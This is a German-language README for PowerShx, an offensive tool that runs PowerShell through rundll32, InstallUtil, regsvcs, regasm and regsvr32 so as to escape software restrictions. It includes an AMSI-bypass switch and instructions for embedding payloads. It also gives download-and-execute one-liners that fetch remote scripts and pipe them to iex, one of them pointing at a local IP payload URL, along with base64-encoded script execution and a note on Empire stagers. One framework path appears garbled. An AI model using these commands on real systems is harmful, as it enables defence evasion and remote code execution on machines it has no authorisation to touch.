
Führen Sie Powershell ohne Softwareeinschränkungen aus.
Unverwaltete PowerShell-Ausführung mittels DLLs oder einer eigenständigen ausführbaren Datei.
PowerShx ist eine Überarbeitung und Erweiterung des PowerShdll-Projekts. PowerShx bietet Funktionen zur Umgehung von AMSI und zur Ausführung von PS-Cmdlets.
rundll32 PowerShx.dll,main -e <PS-Skript zum Ausführen>
rundll32 PowerShx.dll,main -f <pfad> Das als Argument übergebene Skript ausführen
rundll32 PowerShx.dll,main -f <pfad> -c <PS-Cmdlet> Ein Skript laden und ein PS-Cmdlet ausführen
rundll32 PowerShx.dll,main -w Eine interaktive Konsole in einem neuen Fenster starten
rundll32 PowerShx.dll,main -i Eine interaktive Konsole starten
rundll32 PowerShx.dll,main -s Versuch, AMSI zu umgehen
rundll32 PowerShx.dll,main -v Ausgabe des Ergebnisses in der Konsole anzeigen
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Ruft DllUnregisterServer auf
regsvr32 /s PowerShx.dll --> Ruft DllRegisterServer auf
PowerShx.exe -i Eine interaktive Konsole starten
PowerShx.exe -e <PS-Skript zum Ausführen>
PowerShx.exe -f <pfad> Das als Argument übergebene Skript ausführen
PowerShx.exe -f <pfad> -c <PS-Cmdlet> Ein Skript laden und ein PS-Cmdlet ausführen
PowerShx.exe -s Versuch, AMSI zu umgehen.
Payloads können eingebettet werden, indem das Datenwörterbuch "Common.Payloads.PayloadDict" im Projekt "Common" aktualisiert und in der Methode PsSession.cs -> Handle() aufgerufen wird. Beispiel in der Handle()-Methode:
private void Handle(Options options)
{
// Vorausführung vor dem Benutzerskript
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
Hinweis: Empire-Stager müssen mit [System.Text.Encoding]::Unicode dekodiert werden.
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
Einige Fehler scheinen in der Ausgabe nicht angezeigt zu werden. Das kann verwirrend sein, da Befehle wie Import-Module bei einem Fehler keine Fehlermeldung ausgeben. Stellen Sie sicher, dass Ihre Befehle korrekt eingegeben wurden.
Im DLL-Modus sind der interaktive Modus und die Befehlsausgabe auf das Hijacking der Konsole des übergeordneten Prozesses angewiesen. Wenn der übergeordnete Prozess keine Konsole besitzt, verwenden Sie den Schalter -n, um keine Ausgabe zu erzeugen, da die Anwendung sonst abstürzt.
Aufgrund der Art und Weise, wie Rundll32 Argumente verarbeitet, kann die Verwendung mehrerer Leerzeichen zwischen Schaltern und Argumenten zu Problemen führen. Mehrere Leerzeichen innerhalb der Skripte sind in Ordnung.